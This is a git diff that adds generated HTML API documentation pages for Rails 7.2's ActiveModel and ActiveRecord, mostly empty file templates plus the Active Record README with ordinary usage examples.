diff --git a/src/7.2/files/activemodel/lib/active_model/type/string_rb.html b/src/7.2/files/activemodel/lib/active_model/type/string_rb.html new file mode 100644 index 0000000000..e6411159b8 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/string_rb.html @@ -0,0 +1,87 @@ +--- +title: string.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/type/immutable_string
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/time_rb.html b/src/7.2/files/activemodel/lib/active_model/type/time_rb.html new file mode 100644 index 0000000000..8156e4b92f --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/time_rb.html @@ -0,0 +1,79 @@ +--- +title: time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/value_rb.html b/src/7.2/files/activemodel/lib/active_model/type/value_rb.html new file mode 100644 index 0000000000..ac5beacea0 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/value_rb.html @@ -0,0 +1,79 @@ +--- +title: value.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type_rb.html b/src/7.2/files/activemodel/lib/active_model/type_rb.html new file mode 100644 index 0000000000..434477aa91 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type_rb.html @@ -0,0 +1,108 @@ +--- +title: type.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/type/helpers
  • + +
  • active_model/type/serialize_cast_value
  • + +
  • active_model/type/value
  • + +
  • active_model/type/big_integer
  • + +
  • active_model/type/binary
  • + +
  • active_model/type/boolean
  • + +
  • active_model/type/date
  • + +
  • active_model/type/date_time
  • + +
  • active_model/type/decimal
  • + +
  • active_model/type/float
  • + +
  • active_model/type/immutable_string
  • + +
  • active_model/type/integer
  • + +
  • active_model/type/string
  • + +
  • active_model/type/time
  • + +
  • active_model/type/registry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/absence_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/absence_rb.html new file mode 100644 index 0000000000..06970910c6 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/absence_rb.html @@ -0,0 +1,74 @@ +--- +title: absence.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/acceptance_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/acceptance_rb.html new file mode 100644 index 0000000000..e30ce801d3 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/acceptance_rb.html @@ -0,0 +1,83 @@ +--- +title: acceptance.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/callbacks_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/callbacks_rb.html new file mode 100644 index 0000000000..cd03a81bd2 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/callbacks_rb.html @@ -0,0 +1,76 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/clusivity_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/clusivity_rb.html new file mode 100644 index 0000000000..952a126634 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/clusivity_rb.html @@ -0,0 +1,82 @@ +--- +title: clusivity.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/resolve_value
  • + +
  • active_support/core_ext/range
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/comparability_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/comparability_rb.html new file mode 100644 index 0000000000..5bec7088d0 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/comparability_rb.html @@ -0,0 +1,72 @@ +--- +title: comparability.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/comparison_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/comparison_rb.html new file mode 100644 index 0000000000..e09e642d51 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/comparison_rb.html @@ -0,0 +1,84 @@ +--- +title: comparison.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/comparability
  • + +
  • active_model/validations/resolve_value
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/confirmation_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/confirmation_rb.html new file mode 100644 index 0000000000..d61c0b0bbc --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/confirmation_rb.html @@ -0,0 +1,74 @@ +--- +title: confirmation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/exclusion_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/exclusion_rb.html new file mode 100644 index 0000000000..66b4388f79 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/exclusion_rb.html @@ -0,0 +1,82 @@ +--- +title: exclusion.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/clusivity
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/format_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/format_rb.html new file mode 100644 index 0000000000..cbd80127ff --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/format_rb.html @@ -0,0 +1,82 @@ +--- +title: format.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/resolve_value
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/helper_methods_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/helper_methods_rb.html new file mode 100644 index 0000000000..cc90b703d4 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/helper_methods_rb.html @@ -0,0 +1,74 @@ +--- +title: helper_methods.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/inclusion_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/inclusion_rb.html new file mode 100644 index 0000000000..41f80dbf64 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/inclusion_rb.html @@ -0,0 +1,82 @@ +--- +title: inclusion.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/clusivity
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/length_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/length_rb.html new file mode 100644 index 0000000000..b4c67f6846 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/length_rb.html @@ -0,0 +1,82 @@ +--- +title: length.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/resolve_value
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/numericality_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/numericality_rb.html new file mode 100644 index 0000000000..9e4a5a36d4 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/numericality_rb.html @@ -0,0 +1,86 @@ +--- +title: numericality.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/validations/comparability
  • + +
  • active_model/validations/resolve_value
  • + +
  • bigdecimal/util
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/presence_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/presence_rb.html new file mode 100644 index 0000000000..d1e73a2e1c --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/presence_rb.html @@ -0,0 +1,74 @@ +--- +title: presence.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/resolve_value_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/resolve_value_rb.html new file mode 100644 index 0000000000..c9698eecc5 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/resolve_value_rb.html @@ -0,0 +1,72 @@ +--- +title: resolve_value.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/validates_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/validates_rb.html new file mode 100644 index 0000000000..4aac386773 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/validates_rb.html @@ -0,0 +1,82 @@ +--- +title: validates.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/slice
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations/with_rb.html b/src/7.2/files/activemodel/lib/active_model/validations/with_rb.html new file mode 100644 index 0000000000..74cd58c986 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations/with_rb.html @@ -0,0 +1,82 @@ +--- +title: with.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validations_rb.html b/src/7.2/files/activemodel/lib/active_model/validations_rb.html new file mode 100644 index 0000000000..9aeddfc621 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validations_rb.html @@ -0,0 +1,89 @@ +--- +title: validations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/validator_rb.html b/src/7.2/files/activemodel/lib/active_model/validator_rb.html new file mode 100644 index 0000000000..79dd897104 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/validator_rb.html @@ -0,0 +1,87 @@ +--- +title: validator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/anonymous
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/version_rb.html b/src/7.2/files/activemodel/lib/active_model/version_rb.html new file mode 100644 index 0000000000..5e4fc89ce8 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model_rb.html b/src/7.2/files/activemodel/lib/active_model_rb.html new file mode 100644 index 0000000000..72d4b6f73f --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model_rb.html @@ -0,0 +1,86 @@ +--- +title: active_model.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_model/version
  • + +
  • active_model/deprecator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/README_rdoc.html b/src/7.2/files/activerecord/README_rdoc.html new file mode 100644 index 0000000000..0caf754680 --- /dev/null +++ b/src/7.2/files/activerecord/README_rdoc.html @@ -0,0 +1,274 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Active Record – Object-relational mapping in Rails

+ +

Active Record connects classes to relational database tables to establish an almost zero-configuration persistence layer for applications. The library provides a base class that, when subclassed, sets up a mapping between the new class and an existing table in the database. In the context of an application, these classes are commonly referred to as models. Models can also be connected to other models; this is done by defining associations.

+ +

Active Record relies heavily on naming in that it uses class and association names to establish mappings between respective database tables and foreign key columns. Although these mappings can be defined explicitly, it’s recommended to follow naming conventions, especially when getting started with the library.

+ +

You can read more about Active Record in the Active Record Basics guide.

+ +

A short rundown of some of the major features:

+
  • +

    Automated mapping between classes and tables, attributes and columns.

    + +
    class Product < ActiveRecord::Base
    +end
    +
    + +

    The Product class is automatically mapped to the table named β€œproducts”, which might look like this:

    + +
    CREATE TABLE products (
    +  id bigint NOT NULL auto_increment,
    +  name varchar(255),
    +  PRIMARY KEY  (id)
    +);
    +
    + +

    This would also define the following accessors: Product#name and Product#name=(new_name).

    + +

    Learn more

    +
  • +

    Associations between objects defined by simple class methods.

    + +
    class Firm < ActiveRecord::Base
    +  has_many   :clients
    +  has_one    :account
    +  belongs_to :conglomerate
    +end
    +
    + +

    Learn more

    +
  • +

    Aggregations of value objects.

    + +
    class Account < ActiveRecord::Base
    +  composed_of :balance, class_name: 'Money',
    +              mapping: %w(balance amount)
    +  composed_of :address,
    +              mapping: [%w(address_street street), %w(address_city city)]
    +end
    +
    + +

    Learn more

    +
  • +

    Validation rules that can differ for new or existing objects.

    + +
    class Account < ActiveRecord::Base
    +  validates :subdomain, :name, :email_address, :password, presence: true
    +  validates :subdomain, uniqueness: true
    +  validates :terms_of_service, acceptance: true, on: :create
    +  validates :password, :email_address, confirmation: true, on: :create
    +end
    +
    + +

    Learn more

    +
  • +

    Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).

    + +
    class Person < ActiveRecord::Base
    +  before_destroy :invalidate_payment_plan
    +  # the `invalidate_payment_plan` method gets called just before Person#destroy
    +end
    +
    + +

    Learn more

    +
  • +

    Inheritance hierarchies.

    + +
    class Company < ActiveRecord::Base; end
    +class Firm < Company; end
    +class Client < Company; end
    +class PriorityClient < Client; end
    +
    + +

    Learn more

    +
  • +

    Transactions.

    + +
    # Database transaction
    +Account.transaction do
    +  david.withdrawal(100)
    +  mary.deposit(100)
    +end
    +
    + +

    Learn more

    +
  • +

    Reflections on columns, associations, and aggregations.

    + +
    reflection = Firm.reflect_on_association(:clients)
    +reflection.klass # => Client (class)
    +Firm.columns # Returns an array of column descriptors for the firms table
    +
    + +

    Learn more

    +
  • +

    Database abstraction through simple adapters.

    + +
    # connect to SQLite3
    +ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: 'dbfile.sqlite3')
    +
    +# connect to MySQL with authentication
    +ActiveRecord::Base.establish_connection(
    +  adapter:  'mysql2',
    +  host:     'localhost',
    +  username: 'me',
    +  password: 'secret',
    +  database: 'activerecord'
    +)
    +
    + +

    Learn more and read about the built-in support for MySQL, PostgreSQL, and SQLite3.

    +
  • +

    Logging support for Log4r and Logger.

    + +
    ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
    +ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
    +
    +
  • +

    Database agnostic schema management with Migrations.

    + +
    class AddSystemSettings < ActiveRecord::Migration[7.2]
    +  def up
    +    create_table :system_settings do |t|
    +      t.string  :name
    +      t.string  :label
    +      t.text    :value
    +      t.string  :type
    +      t.integer :position
    +    end
    +
    +    SystemSetting.create name: 'notice', label: 'Use notice?', value: 1
    +  end
    +
    +  def down
    +    drop_table :system_settings
    +  end
    +end
    +
    + +

    Learn more

    +
+ +

Philosophy

+ +

Active Record is an implementation of the object-relational mapping (ORM) pattern by the same name described by Martin Fowler:

+ +
+

β€œAn object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.”

+
+ +

Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is object-relational mapping. The prime directive for this mapping has been to minimize the amount of code needed to build a real-world domain model. This is made possible by relying on a number of conventions that make it easy for Active Record to infer complex relations and structures from a minimal amount of explicit direction.

+ +

Convention over Configuration:

+
  • +

    No XML files!

    +
  • +

    Lots of reflection and run-time extension

    +
  • +

    Magic is not inherently a bad word

    +
+ +

Admit the Database:

+
  • +

    Lets you drop down to SQL for odd cases and performance

    +
  • +

    Doesn’t attempt to duplicate or replace data definitions

    +
+ +

Download and installation

+ +

The latest version of Active Record can be installed with RubyGems:

+ +
$ gem install activerecord
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Record is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/aggregations_rb.html b/src/7.2/files/activerecord/lib/active_record/aggregations_rb.html new file mode 100644 index 0000000000..f707788cbe --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/aggregations_rb.html @@ -0,0 +1,74 @@ +--- +title: aggregations.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/association_relation_rb.html b/src/7.2/files/activerecord/lib/active_record/association_relation_rb.html new file mode 100644 index 0000000000..19ba2d4c4c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/association_relation_rb.html @@ -0,0 +1,70 @@ +--- +title: association_relation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/alias_tracker_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/alias_tracker_rb.html new file mode 100644 index 0000000000..9512b41167 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/alias_tracker_rb.html @@ -0,0 +1,82 @@ +--- +title: alias_tracker.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/conversions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/association_rb.html new file mode 100644 index 0000000000..1f31755acc --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/association_rb.html @@ -0,0 +1,72 @@ +--- +title: association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/association_scope_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/association_scope_rb.html new file mode 100644 index 0000000000..a29ca49b5b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/association_scope_rb.html @@ -0,0 +1,74 @@ +--- +title: association_scope.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_association_rb.html new file mode 100644 index 0000000000..0ce2c80218 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_association_rb.html @@ -0,0 +1,72 @@ +--- +title: belongs_to_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_polymorphic_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_polymorphic_association_rb.html new file mode 100644 index 0000000000..f99a9fded6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/belongs_to_polymorphic_association_rb.html @@ -0,0 +1,72 @@ +--- +title: belongs_to_polymorphic_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/association_rb.html new file mode 100644 index 0000000000..202c97d47e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/association_rb.html @@ -0,0 +1,88 @@ +--- +title: association.rb +layout: default +--- +
+ + +
+
+ +
+ +

This is the parent Association class which defines the variables used by all associations.

+ +

The hierarchy is defined as follows:

+ +
Association
+  - SingularAssociation
+    - BelongsToAssociation
+    - HasOneAssociation
+  - CollectionAssociation
+    - HasManyAssociation
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/belongs_to_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/belongs_to_rb.html new file mode 100644 index 0000000000..6d0b7c0934 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/belongs_to_rb.html @@ -0,0 +1,72 @@ +--- +title: belongs_to.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/collection_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/collection_association_rb.html new file mode 100644 index 0000000000..249fac0cbf --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/collection_association_rb.html @@ -0,0 +1,80 @@ +--- +title: collection_association.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/associations
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many_rb.html new file mode 100644 index 0000000000..9791c2f17b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many_rb.html @@ -0,0 +1,72 @@ +--- +title: has_and_belongs_to_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/has_many_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_many_rb.html new file mode 100644 index 0000000000..b132d0c985 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_many_rb.html @@ -0,0 +1,72 @@ +--- +title: has_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/has_one_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_one_rb.html new file mode 100644 index 0000000000..b8cc1f049a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/has_one_rb.html @@ -0,0 +1,72 @@ +--- +title: has_one.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/builder/singular_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/builder/singular_association_rb.html new file mode 100644 index 0000000000..777de21ccd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/builder/singular_association_rb.html @@ -0,0 +1,78 @@ +--- +title: singular_association.rb +layout: default +--- +
+ + +
+
+ +
+ +

This class is inherited by the has_one and belongs_to association classes

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/collection_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/collection_association_rb.html new file mode 100644 index 0000000000..ec6c505d15 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/collection_association_rb.html @@ -0,0 +1,80 @@ +--- +title: collection_association.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/collection_proxy_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/collection_proxy_rb.html new file mode 100644 index 0000000000..bf4707b8eb --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/collection_proxy_rb.html @@ -0,0 +1,79 @@ +--- +title: collection_proxy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/disable_joins_association_scope_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/disable_joins_association_scope_rb.html new file mode 100644 index 0000000000..445a868363 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/disable_joins_association_scope_rb.html @@ -0,0 +1,72 @@ +--- +title: disable_joins_association_scope.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/errors_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/errors_rb.html new file mode 100644 index 0000000000..7334cfd0ef --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/errors_rb.html @@ -0,0 +1,77 @@ +--- +title: errors.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/foreign_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/foreign_association_rb.html new file mode 100644 index 0000000000..54feac83b7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/foreign_association_rb.html @@ -0,0 +1,72 @@ +--- +title: foreign_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/has_many_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/has_many_association_rb.html new file mode 100644 index 0000000000..01c24b18af --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/has_many_association_rb.html @@ -0,0 +1,72 @@ +--- +title: has_many_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/has_many_through_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/has_many_through_association_rb.html new file mode 100644 index 0000000000..98ccdd6ab4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/has_many_through_association_rb.html @@ -0,0 +1,72 @@ +--- +title: has_many_through_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/has_one_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/has_one_association_rb.html new file mode 100644 index 0000000000..179e3d573e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/has_one_association_rb.html @@ -0,0 +1,72 @@ +--- +title: has_one_association.rb +layout: default +--- +
